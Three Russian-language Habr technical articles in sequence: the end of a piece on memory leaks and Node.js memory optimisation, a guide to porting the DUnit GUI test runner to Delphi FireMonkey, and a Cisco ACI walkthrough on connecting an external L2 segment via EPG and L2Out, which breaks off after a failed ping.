… и начали получать багрепорты от заказчика: браузер тормозит, компьютеры к концу дня становятся колом, работать невозможно и так далее. Перезагрузка Windows помогала, но постепенно всё опять начинало тормозить. Когда коллегам удалось воспроизвести проблему на машине у себя в офисе и увидеть в диспетчере задач, что у IE7 при листании документов в просмотрщике растёт потребление памяти, — стало понятно, что дело в утечке. При этом обновление страницы как раз не помогало — память освобождалась только при закрытии всего браузера целиком (возможно, достаточно было закрыть вкладку с просмотрщиком — это было давно, я уже не помню). Перебрав все попавшие в релиз изменения, они обнаружили, что при удалении из CSS правила про `-ms-interpolation-mode` или при замене на `-ms-interpolation-mode: nearest-neighbor` утечка пропадает.
Только тогда стало понятно, почему разработчики браузера реализовали бикубическую интерполяцию, но не включили её в IE7 по умолчанию. Скорее всего, они не успели к релизу починить утечку и просто отключили приводящее к утечке поведение.
### Как бороться
К сожалению, здесь мало что можно сделать:
1. Самое главное — понять, что проблема с памятью именно в hard-утечке.
2. Определить, где именно она происходит (в расширении браузера, в самом браузере, в ОС, где-то ещё) и какие конкретно версии софта подвержены утечке. Сообщить о проблеме разработчикам софта.
3. Если можем контролировать версии софта и есть не подверженные утечке версии — обновиться/откатиться на версию без утечки.
4. На сервере, если не можем сменить версию софта или ждём исправленной версии, временно помогут запланированные рестарты в наименее загруженное время суток.
5. Сложнее всего разобраться с утечками в ОС клиента, в браузере или в браузерном расширении — фронтенд не управляет версиями браузера и операционной системы. Можно разве что показать пользователю сообщение, что в его версии браузера/ОС есть утечка памяти, и предложить сменить их на аналоги.
Нестандартные оптимизации памяти в Node.js
------------------------------------------
Вот я и добрался до самого нетривиального. Нестандартные оптимизации могут пригодиться в ситуации, когда остальные возможности исчерпаны, но на серверах с Node.js надо освободить ещё немного памяти.
Node.js выделяет память на довольно неожиданные вещи, которые либо вообще не нужны, либо легко оптимизируются. Дальше я расскажу об оптимизациях, которые обнаружил сам.
### Исходный код
Когда Node.js выполняет загрузку модуля через `require` или `import`, исходный код этого модуля в виде строки читается в память и остаётся там до самого конца.
В одном большом проекте мы собрали весь серверный код в три бандла:
* сам код проекта,
* наши библиотеки,
* стандартные сторонние библиотеки (Lodash и так далее).
После этого легко увидеть, что строки с исходным кодом занимают около 28 МБ памяти:
То есть комментарии, отступы, обёртки `function (exports, require, module, __filename, __dirname)` вокруг CommonJS-модулей — всё это занимает память сервера. А исходный код в процессе работы практически никогда и никому не нужен.
Мы провели минимальную минификацию — убрали только отступы и комментарии, не трогая переводы строк, имена методов и переменных, чтобы стектрейсы ошибок остались понятными и полезными. Основной бандл «похудел» с 23 до 15 МБ.
Пул-реквест с таким минифицированным серверным кодом показал заметное уменьшение потребления памяти:
### `Module._pathCache`
Node.js при загрузке модулей строит полный (абсолютный) путь к файлу из относительного, который указывается в `require()` и `import`. Построение полного пути — довольно медленный процесс, а одни и те же модули могут грузиться много раз из разных мест в коде. Для ускорения пути запоминаются в кэше с логичным названием `Module._pathCache`.
Код кэширования:
* Node.js [v12.18.1](https://github.com/nodejs/node/blob/v12.18.1/lib/internal/modules/cjs/loader.js#L178)
* Node.js [v16.11.0](https://github.com/nodejs/node/blob/v16.11.0/lib/internal/modules/cjs/loader.js#L194)
Пути на сервере могут быть очень длинными, а модулей может быть очень много, поэтому кэш порой разрастается до десятков мегабайт:
После старта и прогрева сервера, когда все модули уже загружены в память, этот кэш становится бесполезен. Его можно очистить следующим кодом:
```
Object.keys(Module._pathCache)
.forEach(key => delete Module._pathCache[key]);
```
Это безопасно — при отсутствии пути в кэше получим только замедление, если понадобится загрузить какой-нибудь модуль ещё раз.
### Несколько версий пакета в node\_modules
Если в node\_modules оказывается несколько версий пакета (например, `lodash@4.17.21` и `lodash@4.17.15` одновременно, или вообще пять разных версий Moment.js с его гигантскими наборами данных для локалей и таймзон), то для каждой версии будет тратиться память на вышеперечисленные пункты. Устранение дублей поможет её сэкономить.
Чтобы найти дубли, я пользуюсь двумя инструментами:
1. Стандартный [npm find-dupes](https://docs.npmjs.com/cli/v8/commands/npm-find-dupes) — самый распространённый, но менее полезный.
2. Пакет [dependencies-tree-builder](https://github.com/itwillwork/dependencies-tree-builder).
Я использую dependencies-tree-builder в таком скрипте:
```
const chalk = require('chalk');
const buildTreeAsync = require('dependencies-tree-builder');
/**
* Максимально допустимое число разных версий пакетов, попадающих в сборку.
* Возможны разные валидные комбинации, например 12 версий одного пакета
* или 4 пакета, каждый трёх разных версий.
*
* @type {number}
*/
const MAX_COUNT_OF_DUPLICATED_PACKAGES = 12;
async function check({log}) {
const packageJson = require('./package.json');
let tree;
try {
tree = await buildTreeAsync(packageJson);
} catch (e) {
// При ошибке чистим кэш и пробуем снова
// Код в catch можно будет удалить после https://github.com/itwillwork/dependencies-tree-builder/pull/4
const fs = require('fs');
const path = require('path');
const CACHE_FILE = path.resolve(__dirname, './node_modules/dependencies-tree-builder/.packages.cache.json');
log(chalk.gray('Чистим кэш ' + CACHE_FILE));
fs.unlinkSync(CACHE_FILE);
const PackageCollector = require('dependencies-tree-builder/src/package_collector');
PackageCollector._cacheInstance = {};
// Пробуем снова
tree = await buildTreeAsync(packageJson);
}
const packages = Object.entries(tree.scoupe)
.filter(([, versions]) => Object.keys(versions).length > 1);
const countOfDuplicates = packages
.reduce((count, [, versions]) => count + Object.keys(versions).length, 0);
const pl = new Intl.PluralRules('ru');
const packagePlural = {one: 'пакет', few: 'пакета', many: 'пакетов'};
const versionPlural = {one: 'версия', few: 'версии', many: 'версий'};
if (countOfDuplicates <= MAX_COUNT_OF_DUPLICATED_PACKAGES) {
log(chalk.gray(
`В package.json есть ${packages.length} ${packagePlural[pl.select(packages.length)]} с несколькими версиями ` +
`(всего ${countOfDuplicates} ${versionPlural[pl.select(countOfDuplicates)]})`
));
return;
}
log(chalk.red.bold(
`В package.json есть ${packages.length} ${packagePlural[pl.select(packages.length)]} с несколькими версиями ` +
`(всего ${countOfDuplicates} ${versionPlural[pl.select(countOfDuplicates)]}):`
));
for (const [packageName, versions] of packages) {
log(chalk.blue(packageName) + ' ' + Object.keys(versions).join(', '));
Object.entries(versions).forEach(([version, {usages}]) => {
usages = usages.map(usage => (usage.length > 1) ? usage.slice(1).join('->') : usage[0]);
log(' ' + chalk.green(version) + ': ' + usages.join(', '));
});
}
}
check(console);
```
Скрипт считает количество дублей и показывает, кто именно использует разные версии одного и того же пакета.
Найденные дубли можно убрать несколькими способами:
* Через [npm dedupe](https://docs.npmjs.com/cli/v8/commands/npm-dedupe).
* Вручную добавить в package.json пакет подходящей версии. Например, если у одного пакета указана точная версия транзитивной зависимости `"lodash": "4.17.15"`, а у другого указан диапазон версий `"lodash": "^4.17.0"`, то мы можем заставить npm использовать и там и там одну версию, добавив явную зависимость `"lodash": "4.17.15"`.
* Через [yarn resolutions](https://yarnpkg.com/configuration/manifest/#resolutions).
* Через настройку [`alias`](https://webpack.js.org/configuration/resolve/#resolvealias) в webpack.config.js, если код собирается через webpack.
### `require('./data.json')`
В Node.js есть штатная возможность читать файлы JSON как CommonJS-модули через `require()`:
```
const data = require('./data.json');
```
Плюс такого подхода — простота и краткость. Но есть и два минуса:
1. Node.js создаёт объект `Module`, который занимает примерно в полтора раза больше памяти, чем исходный файл JSON. То есть для файла `data.json` размером 10 МБ будет израсходовано около 15 МБ оперативной памяти.
2. Созданный модуль остаётся в кэше модулей на всё время работы Node.js, даже если данные больше не нужны.
Если на сервере надо читать большие JSON'ы (или много мелких), то можно уменьшить потребление памяти, переписав их загрузку:
```
// Плохо:
const data = require('./data.json');
// Лучше:
const data = JSON.parse(fs.readFileSync('./data.json', 'utf-8'));
// Для больших JSON'ов так ещё лучше:
const {parseChunked} = require('@discoveryjs/json-ext');
const data = await parseChunked(fs.createReadStream('data.json'));
```
Заключение
----------
Я бы хотел, чтобы эта статья помогла вам:
* писать хороший код,
* правильно работать с кэшами и мемоизацией,
* уверенно решать проблемы с лишним потреблением памяти и утечками,
* мониторить память сервера и клиентов в пул-реквесте, релизе, продакшене (раньше обнаружишь проблему — быстрее найдёшь причину),
* знать, что делать в крайних случаях, чтобы выиграть немного времени и памяти. | https://habr.com/ru/post/666870/ | null | ru | null |
# MindStream. Как мы пишем ПО под FireMonkey. Часть 3. DUnit + FireMonkey
[Часть 1](http://habrahabr.ru/post/232955/).
[Часть 2](http://habrahabr.ru/post/234801/).
Здравствуйте.
В этой статье я хочу познакомить читателей с процессом переноса VCL кода в FireMonkey. В стандартной поставке Delphi, начиная по-моему с версии 2009, проект [DUnit](http://dunit.sourceforge.net/) идёт из коробки.
Однако писался он в далекие времена VCL. И хотя и позволяет тестировать код написанный для FireMonkey (Благодаря консольному выводу), но у него нет «няшного» GUIRunner'a, к которому многие из нас привыкли, ведь в нём очень быстро и легко можно «убрать» те тесты которые мы не хотим запускать «именно сейчас».
Для тех кто совсем или мало знаком с DUnit. В обычном режиме из коробки, документация предлагает сделать File->New->Other->Unit Test->TestProject. Далее, Вам необходимо выбрать GUI или консольный вариант. Благодаря этим не столь сложным манипуляциям, у Вас появляется новый проект который должен выглядеть примерно так(по крайне мере «мое» XE7, сгенирировало именно такой код), для GUI:
```
program Project1Tests;
{
Delphi DUnit Test Project
-------------------------
This project contains the DUnit test framework and the GUI/Console test runners.
Add "CONSOLE_TESTRUNNER" to the conditional defines entry in the project options
to use the console test runner. Otherwise the GUI test runner will be used by
default.
}
{$IFDEF CONSOLE_TESTRUNNER}
{$APPTYPE CONSOLE}
{$ENDIF}
uses
DUnitTestRunner,
TestUnit1 in 'TestUnit1.pas',
Unit1 in '..\DUnit.VCL\Unit1.pas';
{$R *.RES}
begin
DUnitTestRunner.RunRegisteredTests;
end.
```
Следом добавляем TestCase, делается это также(File->New->Other->Unit Test->TestCase), в результате должно быть что-то похожее:
```
unit TestUnit1;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework, System.SysUtils, Vcl.Graphics, Winapi.Windows, System.Variants,
System.Classes, Vcl.Dialogs, Vcl.Controls, Vcl.Forms, Winapi.Messages, Unit1;
type
// Test methods for class TForm1
TestTForm1 = class(TTestCase)
strict private
FForm1: TForm1;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure TestDoIt;
end;
implementation
procedure TestTForm1.SetUp;
begin
FForm1 := TForm1.Create;
end;
procedure TestTForm1.TearDown;
begin
FForm1.Free;
FForm1 := nil;
end;
procedure TestTForm1.TestDoIt;
var
ReturnValue: Integer;
begin
ReturnValue := FForm1.DoIt;
// TODO: Validate method results
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestTForm1.Suite);
end.
```
В целом мой пример показывает как легко добавить тестирование, даже для Делфи7. Всё что нам надо, это — вызвать DUnitTestRunner.RunRegisteredTests;. И добавить новые файлы с TestCase в проект. Более детально вопрос тестирования с помощью DUnit рассмотрен [тут](http://programmingmindstream.blogspot.ru/2014/06/blog-post_10.html).
Для реализации я решил, что необходимо просто повторить ребят которые делали DUnit.
Первая проблема(То, что TTreeNode, и TTreeViewItem «совсем не братья» даже говорить не буду, документация всех спасет) с которой я столкнулся была тут:
```
type
TfmGUITestRunner = class(TForm)
...
protected
FSuite: ITest;
procedure SetSuite(Value: ITest);
...
public
property Suite: ITest read FSuite write SetSuite;
end;
procedure RunTestModeless(aTest: ITest);
var
l_GUI: TfmGUITestRunner;
begin
Application.CreateForm(TfmGUITestRunner, l_GUI);
l_GUI.Suite := aTest;
l_GUI.Show;
end;
procedure TfmGUITestRunner.SetSuite(Value: ITest);
begin
FSuite := Value; // AV здесь
if FSuite <> nil then
InitTree;
end;
```
Проблема как всегда, “узнается” в дебаге, ну или в документации:). В FireMonkey — Application.CreateForm();, не создает форму. Да, как ни странно. [TApplication.CreateForm](http://docwiki.embarcadero.com/Libraries/XE6/en/FMX.Forms.TApplication.CreateForm)
**Мой комментарий к комиту когда я разобрался :)**FSuite, Ещё не создана, так как Application.CreateForm на самом деле, если его не пнуть явно — «не создает сука, нормальных форм, а лишь ссылки на будущие классы. Что соответственно влияет на члены класса, которые совсем не nil, как им бы положено быть»
AV вылезет в System.\_IntfCopy(var Dest: IInterface; const Source: IInterface);
А вылезет потому что у нас в Dest будет мусор, а не interface или nil. И проявится это когда мы у предыдущего интерфейса(если он не // nil) будем вычитать 1.
Даже если мы такую строчку пропишем, это до фени
FSuite := nil;
Вот ещё одна [ссылка](http://www.deltics.co.nz/blog/posts/795) по этому вопросу — . It doesn’t do what it says it does! Я если честно, тоже был немного в шоке, от того что метод который называется «СделатьФорму», не делает её.
Решаем проблему созданием форм явно(l\_GUI := TfmGUITestRunner.create(nil) ;) и идём дальше.
Теперь нам необходимо построить дерево тестов на основе TestCase'оф которые добавлены для тестирования. Если Вы обратили внимание, то процесс построения формы начинается с метода RunRegisteredTestsModeless:
```
procedure RunRegisteredTestsModeless;
begin
RunTestModeless(registeredTests)
end;
```
Я решил не выносить этот метод в отдельный модуль, как создатели DUnit, поэтому для подключения fmGUITestRunner, вам необходимо указать модуль в коде проекта, ну и собственно вызвать нужный метод. В моем случае код проекта выглядит так:
```
program FMX.DUnit;
uses
FMX.Forms,
// Форма тестирования
u_fmGUITestRunner in 'u_fmGUITestRunner.pas' {fmGUITestRunner},
// Тесты
u_FirstTest in 'u_FirstTest.pas',
u_TCounter in 'u_TCounter.pas',
u_SecondTest in 'u_SecondTest.pas';
{$R *.res}
begin
Application.Initialize;
// Вызываем метод который я описал
u_fmGUITestRunner.RunRegisteredTestsModeless;
Application.Run;
end.
```
Внимательный читатель, обратит внимание, что никаких registeredTests мы не добавляли, и совсем нигде не указывали какие тесты будут у нас добавляться. RegisteredTests это «глобальный» метод TestFrameWork, который подключен к нашей форме, возвращает он глобальную переменную — \_\_TestRegistry: ITestSuite;
То как TestCase «попадают» в эту переменную, я оставлю за рамками этой статьи, тем более, что работу провели создатели DUnit. Однако если читатели изъявят интерес к этой теме, то отвечу в коментах. Итак, вернёмся к дереву. Метод для инициализации дерева:
```
procedure TfmGUITestRunner.InitTree;
begin
FTests.Clear;
FillTestTree(Suite);
TestTree.ExpandAll;
end;
```
FTests, это список интерфейсных объектов который будет хранить список наших тестов. В свою очередь метод FillTestTree, является перегруженным, сделано это, так как мы не знаем, c корневым элементом дерева мы работаем, или с обычным узлом:
```
...
procedure FillTestTree(aTest: ITest); overload;
procedure FillTestTree(aRootNode: TTreeViewItem; aTest: ITest); overload;
...
procedure TfmGUITestRunner.FillTestTree(aRootNode: TTreeViewItem; aTest: ITest);
var
l_TestTests: IInterfaceList;
l_Index: Integer;
l_TreeViewItem: TTreeViewItem;
begin
if aTest = nil then
Exit;
l_TreeViewItem := TTreeViewItem.Create(self);
l_TreeViewItem.IsChecked := True;
// Добавляем тест в список, и в свойстве Tag сохраняем его индекс. Опыт работы с БД из прошлой работы :)
l_TreeViewItem.Tag := FTests.Add(aTest);
l_TreeViewItem.Text := aTest.Name;
// Тут я думаю, всё ясно
if aRootNode = nil then
TestTree.AddObject(l_TreeViewItem)
else
aRootNode.AddObject(l_TreeViewItem);
// ITest, содержит метод Tests, который является списком(IInterfaceList) "вложенных" тестов
// Рекурсивно проходимся по всем тестам
l_TestTests := aTest.Tests;
for l_Index := 0 to l_TestTests.Count - 1 do
FillTestTree(l_TreeViewItem, l_TestTests[l_Index] as ITest);
end;
```
Как видим, в методе мы не только заполнили дерево, но и дали информацию каждому узлу, какой из тестов ему соответствует. Для того что бы получить тест по узлу, напишем метод NodeToTest:
```
function TfmGUITestRunner.NodeToTest(aNode: TTreeViewItem): ITest;
var
l_Index: Integer;
begin
assert(aNode.Tag >= 0);
l_Index := aNode.Tag;
Result := FTests[l_Index] as ITest;
end;
```
Теперь добавим «знаний» тестам. В каждом тесте есть переменная GUIObject, типа TObject. SetupGUINodes мы будем вызывать на FormShow.
```
procedure TfmGUITestRunner.SetupGUINodes(aNode: TTreeViewItem);
var
l_Test: ITest;
l_Index: Integer;
begin
for l_Index := 0 to Pred(aNode.Count) do
begin
// Получаем тест
l_Test := NodeToTest(aNode.Items[l_Index]);
assert(assigned(l_Test));
// Ассоциируем тест с необходимым узлом
l_Test.GUIObject := aNode.Items[l_Index];
SetupGUINodes(aNode.Items[l_Index]);
end;
end;
```
Для того что-бы получить узел из теста напишем метод:
```
function TfmGUITestRunner.TestToNode(test: ITest): TTreeViewItem;
begin
assert(assigned(test));
Result := test.GUIObject as TTreeViewItem;
assert(assigned(Result));
end;
```
То как я «связал» тесты с деревом, мне, да и старшему коллеге не понравилось. Зачем таким путем пошли разработчики DUnit, я догадываюсь. DUnit писался давно, и никаких Generic'ов тогда не было. В будущем мы конечно же это переделаем. В конце статьи я напишу о наших следующих доработках и «хотелках».
Итак — наше дерево строится, тесты находятся в FTests. Тесты и дерево связаны между собой. Пришло время запустить тесты, и обработать результаты. Для того что форма умела это делать, добавим ей реализацию интерфейса ITestListener, описанного в TestFrameWork:
```
{ ITestListeners get notified of testing events.
See TTestResult.AddListener()
}
ITestListener = interface(IStatusListener)
['{114185BC-B36B-4C68-BDAB-273DBD450F72}']
procedure TestingStarts;
procedure StartTest(test: ITest);
procedure AddSuccess(test: ITest);
procedure AddError(error: TTestFailure);
procedure AddFailure(Failure: TTestFailure);
procedure EndTest(test: ITest);
procedure TestingEnds(testResult :TTestResult);
function ShouldRunTest(test :ITest):Boolean;
end;
```
Добавим эти методы в описание класса, и реализуем их:
```
procedure TfmGUITestRunner.TestingStarts;
begin
FTotalTime := 0;
end;
procedure TfmGUITestRunner.StartTest(aTest: ITest);
var
l_Node: TTreeViewItem;
begin
assert(assigned(TestResult));
assert(assigned(aTest));
l_Node := TestToNode(aTest);
assert(assigned(l_Node));
end;
procedure TfmGUITestRunner.AddSuccess(aTest: ITest);
begin
assert(assigned(aTest));
SetTreeNodeFont(TestToNode(aTest), c_ColorOk)
end;
procedure TfmGUITestRunner.AddError(aFailure: TTestFailure);
var
l_ListViewItem: TListViewItem;
begin
SetTreeNodeFont(TestToNode(aFailure.failedTest), c_ColorError);
l_ListViewItem := AddFailureNode(aFailure);
end;
procedure TfmGUITestRunner.AddFailure(aFailure: TTestFailure);
var
l_ListViewItem: TListViewItem;
begin
SetTreeNodeFont(TestToNode(aFailure.failedTest), c_ColorFailure);
l_ListViewItem := AddFailureNode(aFailure);
end;
procedure TfmGUITestRunner.EndTest(test: ITest);
begin
// Закоментил, потому как тут надо обновлять общую информацию о результатах
// тестов. А нам пока нечего показывать.
// И если будет утверждение, то после первого захода сюда, результаты не отображаются
// Пока так, однозначно TODO
// assert(False);
end;
procedure TfmGUITestRunner.TestingEnds(aTestResult: TTestResult);
begin
FTotalTime := aTestResult.TotalTime;
end;
function TfmGUITestRunner.ShouldRunTest(aTest: ITest): Boolean;
var
l_Test: ITest;
begin
// Метод проверяет, стоит ли запускать тест. То как тесты "узнают" о "доступности" опишу ниже
l_Test := aTest;
Result := l_Test.Enabled
end;
```
Объяснять тут особо нечего. Хотя если будут вопросы, то детально отвечу. В оригинале DUnitRunner при «получении» результата теста, менял картинку у соответствующего узла дерева. Я решил с картинками не морочиться, потому как из коробки их теперь нету, да и добавление картинки к узлу как-то заморочено сделано через стили. Поэтому решил ограничиться изменением FontColor и FontStyle для каждого узла.
Вроде делов на 1 минуту, а потратил пару часов, перекопав всю документацию:
```
procedure TfmGUITestRunner.SetTreeNodeFont(aNode: TTreeViewItem;
aColor: TAlphaColor);
begin
// Пока не укажешь какие из настроек стиля разрешены к работе, они работать не будут
aNode.StyledSettings := aNode.StyledSettings - [TStyledSetting.ssFontColor, TStyledSetting.ssStyle];
aNode.Font.Style := [TFontStyle.fsBold];
aNode.FontColor := aColor;
end;
```
Для вывода результатов будем использовать ListView. Особенности TListView в FireMonkey таковы, что список полностью заточен под мобильные приложения. И лишился замечательного свойства Columns. Для добавления ошибок добавим метод AddFailureNode:
```
function TfmGUITestRunner.AddFailureNode(aFailure: TTestFailure): TListViewItem;
var
l_Item: TListViewItem;
l_Node: TTreeViewItem;
begin
assert(assigned(aFailure));
l_Item := lvFailureListView.Items.Add;
l_Item.Text := aFailure.failedTest.Name + '; ' +
aFailure.thrownExceptionName + '; ' +
aFailure.thrownExceptionMessage + '; ' +
aFailure.LocationInfo + '; ' +
aFailure.AddressInfo + '; ' +
aFailure.StackTrace;
l_Node := TestToNode(aFailure.failedTest);
while l_Node <> nil do
begin
l_Node.Expand;
l_Node := l_Node.ParentItem;
end;
Result := l_Item;
end;
```
Пора запустить наши тесты, для чего добавим кнопку и метод запуска:
```
procedure TfmGUITestRunner.btRunAllTestClick(Sender: TObject);
begin
if Suite = nil then
Exit;
ClearResult;
RunTheTest(Suite);
end;
procedure TfmGUITestRunner.RunTheTest(aTest: ITest);
begin
TestResult := TTestResult.Create;
try
TestResult.addListener(self);
aTest.run(TestResult);
finally
FreeAndNil(FTestResult);
end;
end;
```
Запускаем наш Runner, нажимаем кнопку запуска тестов, в результате чего видим:
Последнее что нам осталось сделать, это обработать действия пользователя, во время изменения состояния узла:
```
procedure TfmGUITestRunner.TestTreeChangeCheck(Sender: TObject);
begin
SetNodeEnabled(Sender as TTreeViewItem, (Sender as TTreeViewItem).IsChecked);
end;
procedure TfmGUITestRunner.SetNodeEnabled(aNode: TTreeViewItem;
aValue: Boolean);
var
l_Test: ITest;
begin
l_Test := NodeToTest(aNode);
if l_Test <> nil then
l_Test.Enabled := aValue;
end;
```
Изменим состояние у чекбоксов некоторых узлов:
Код теста на котором я собственно проводил тестирования:
```
unit u_SecondTest;
interface
uses
TestFrameWork;
type
TSecondTest = class(TTestCase)
published
procedure DoIt;
procedure OtherDoIt;
procedure ErrorTest;
procedure SecondErrorTest;
end; // TFirstTest
implementation
procedure TSecondTest.DoIt;
begin
Check(true);
end;
procedure TSecondTest.ErrorTest;
begin
raise ExceptionClass.Create('Error Message');
end;
procedure TSecondTest.OtherDoIt;
begin
Check(true);
end;
procedure TSecondTest.SecondErrorTest;
begin
Check(False);
end;
initialization
TestFrameWork.RegisterTest(TSecondTest.Suite);
end.
```
Подведём итоги — на данном этапе, мы получили вполне рабочее приложение для тестирования кода FireMonkey, используя привычный GUIRunner. Проект открытый, так что пользоваться могут все желающие.
Планы на будущее:
Написать метод обхода дерева который будет получать [лямбду](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%BE%D0%BD%D0%B8%D0%BC%D0%BD%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F). Дерево приходится обходить постоянно, а вот действия с каждой веткой разные, поэтому лямбда мне кажется уместной.
Замечания и предложения, от моего [старшего коллеги](http://18delphi.blogspot.ru/):
Переделать связь Тест-Узел на TDictionary [docwiki.embarcadero.com/Libraries/XE7/en/System.Generics.Collections.TDictionary](http://docwiki.embarcadero.com/Libraries/XE7/en/System.Generics.Collections.TDictionary)
Добавить графический индикатор “прохода тестов”. Кнопки — выделить всё, снять всё и т.д. а также вывод результатов тестирования(время выполнения, количество успешных и провальных и т.д).
Добавить паттерн [Декоратор](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BA%D0%BE%D1%80%D0%B0%D1%82%D0%BE%D1%80_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F) для избавления от «костыля» GUIObject.
В ближайшем будущем мы начнем покрывать тестами наш основной проект — MindStream, а также по чуть-чуть будем доводить до ума Runner. Спасибо всем кто дочитал до конца. Замечания и критика, как всегда приветствуются в комментариях.
[Ссылка на репозиторий.](https://bitbucket.org/ingword/mindstream)
p.s. Проект располагается в репозитории MindStream\FMX.DUnit
Ссылки которые я нашел, и которые мне пригодились в процессе:
[sourceforge.net/p/radstudiodemos/code/HEAD/tree/branches/RadStudio\_XE5\_Update/FireMonkey/Delphi](http://sourceforge.net/p/radstudiodemos/code/HEAD/tree/branches/RadStudio_XE5_Update/FireMonkey/Delphi/)
[fire-monkey.ru](http://fire-monkey.ru/)
[18delphi.blogspot.ru](http://18delphi.blogspot.ru/)
[www.gunsmoker.ru](http://www.gunsmoker.ru/)
[GUI-тестирование «по-русски». Заметка об уровнях тестирования](http://18delphi.blogspot.ru/2013/11/gui_9423.html)
[Ещё раз об «уровнях тестирования»](http://programmingmindstream.blogspot.ru/2014/01/blog-post_27.html)
ну и конечно
[docwiki.embarcadero.com/RADStudio/XE7/en/Main\_Page](http://docwiki.embarcadero.com/RADStudio/XE7/en/Main_Page)
[Часть 3.1](http://habrahabr.ru/post/241377/) | https://habr.com/ru/post/241301/ | null | ru | null |
# Подключение внешнего L2-сегмента к Cisco ACI с помощью EPG и L2Out
Сегодня я хотел бы поделиться своим опытом настройки связности Cisco ACI с внешним L2-сегментом. Как известно, есть два подхода к решению этой задачи: классифицировать внешний сегмент в отдельную EPG или же использовать объект External Bridged Network, также известный как L2Out.
Стенд выглядит следующим образом:
SW1 и SW2 – это коммутаторы Nexus 3000, выполняющие роль хостов, подключенных к фабрике, поэтому от них требуются только L3-интерфейсы для проверки связности. APIC использует прошивку версии 4.2(7l); конкретные модели коммутаторов фабрики большого значения для повестки не имеют. Политики доступа (access policies) так же находятся за рамками этой статьи, поэтому их настройку можно опустить.
Создадим объекты, необходимые для обеспечения связности EPG: VRF и bridge domain (BD).
Рисунок 2. Все параметры VRF - по умолчанию Рисунок 3. Создание BD, шаг 1Поскольку L3-связность в данном случае не требуется, можно отключить маршрутизацию и uRPF в рамках BD, оставив остальные параметры без изменений:
Рисунок 4. Создание BD, шаг 2Рисунок 5. Создание BD, шаг 3Теперь мы можем создать application profile (AP) и заняться настройкой L2-связности с помощью первого подхода: назначить определённые порты EPG SW1 и SW2, а затем создать необходимый контракт между ними.
Рисунок 6. Создание EPG, всё по умолчаниюВажно настроить связь между EPG и физическим доменом (physical domain); в противном случае политика не будет реализована в фабрике. Назначим физические порты коммутаторов соответствующим EPG:
Рисунок 7. Назначение физического порта EPGЗакончив (почти) настройки на стороне ACI, переключим внимание на N3k:
```
SW1(config)# interface ethernet1/46
SW1(config-if)# shutdown
SW1(config-if)# no switchport
SW1(config-if)# ip add 192.168.0.1/24
SW1(config-if)# mac-address 0000.0000.0001
```
```
SW2(config)# interface ethernet1/46
SW2(config-if)# shutdown
SW2(config-if)# no switchport
SW2(config-if)# ip add 192.168.0.2/24
SW2(config-if)# mac-address 0000.0000.0002
```
Такие значения MAC-адресов выбраны не случайно: они позволяют легче различать записи в таблице подключенных к фабрике устройств. Напомню, что IP-адреса в этом случае не сработают, поскольку маршрутизация в рамках BD [отключена](https://www.cisco.com/c/en/us/solutions/collateral/data-center-virtualization/application-centric-infrastructure/white-paper-c11-739989.html#UnicastRouting) и происходит коммутация пакетов.
Впрочем, всех этих настроек пока недостаточно, чтобы между SW1 и SW2 появилась связность, поскольку ACI требует явного разрешения трафика между хостами в виде контрактов. Создадим такой объект, разрешающий ICMP-пакеты в обе стороны:
Рисунок 8. Фильтр контрактаРисунок 9. Использование фильтра как часть контрактаРисунок 10. Сам контрактОбратите внимание на область действия контракта: он описывает связность в рамках AP вместо VRF. Хотя в случае только двух хостов это и не имеет большого смысла, ограничение области действия контракта в общем случае позволяет избежать интересных спецэффектов в форме неочевидной связности между EPG в рамках одного и того же VRF. Остаётся только назначить контракт соответствующим EPG:
Рисунок 11. Применение контрактаРисунок 12. Топология контракта, когда внешний L2-сегмент представлен EPGВремя проверить связность между SW1 и SW2:
```
SW1# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
36 bytes from 192.168.0.1: Destination Host Unreachable
Request 0 timed out
36 bytes from 192.168.0.1: Destination Host Unreachable
Request 1 timed out
64 bytes from 192.168.0.2: icmp_seq=2 ttl=254 time=2.259 ms
64 bytes from 192.168.0.2: icmp_seq=3 ttl=254 time=2.061 ms
64 bytes from 192.168.0.2: icmp_seq=4 ttl=254 time=2.138 ms
```
Довольно простой процесс, не правда ли? Создание L2Out вместо EPG SW2 должно занять несколько меньше времени, поскольку большая часть настроек остаётся неизменной. Вначале нужно удалить статическую привязку физического порта к EPG, а затем можно использовать освободившийся порт в L2Out:
Рисунок 13. Настройка L2Out, шаг 1Мне не удалось убедить L2Out принимать кадры в VLAN 1: ACI отказывался распознавать подключённый хост независимо от того, приходил ли трафик с меткой или без неё. Ошибок в соответствующем разделе тоже не было, поэтому я не уверен, есть ли ограничение на использование VLAN 1 в L2Out. Как бы то ни было, я переделал настройки SW2 на использование SVI и подключение к ACI с помощью trunk:
```
SW2(config)# interface ethernet1/46
SW2(config-if)# switchport
SW2(config-if)# switchport mode trunk
SW2(config-vlan)# interface vlan 150
SW2(config-if)# mac-address 0000.0000.0002
SW2(config-if)# ip address 192.168.0.2/24
SW2(config-if)# no shutdown
```
Наконец, EPG должна быть связана с внешним L2-доменом (L2 External Domain), в противном случае политики не будут реализованы в фабрике.
Поскольку допустимая связность в ACI описана в виде контрактов, все внешние L2-сущности должны быть классифицированы как внешняя EPG.
Рисунок 14. Настройка L2Out, шаг 2Рисунок 15. Настройка L2Out, шаг 2.5Настройки EPG SW1 остались прежними, поэтому достаточно назначить контракт EPG SW2, чтобы разрешить связность между ними:
Рисунок 16. Применение контракта к внешней EPGРисунок 17. Топология контракта, когда внешний L2-сегмент представлен L2OutПроверим связность между SW1 и SW2 ещё раз:
```
SW1# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
Request 0 timed out
Request 1 timed out
Request 2 timed out
Request 3 timed out
Request 4 timed out
```
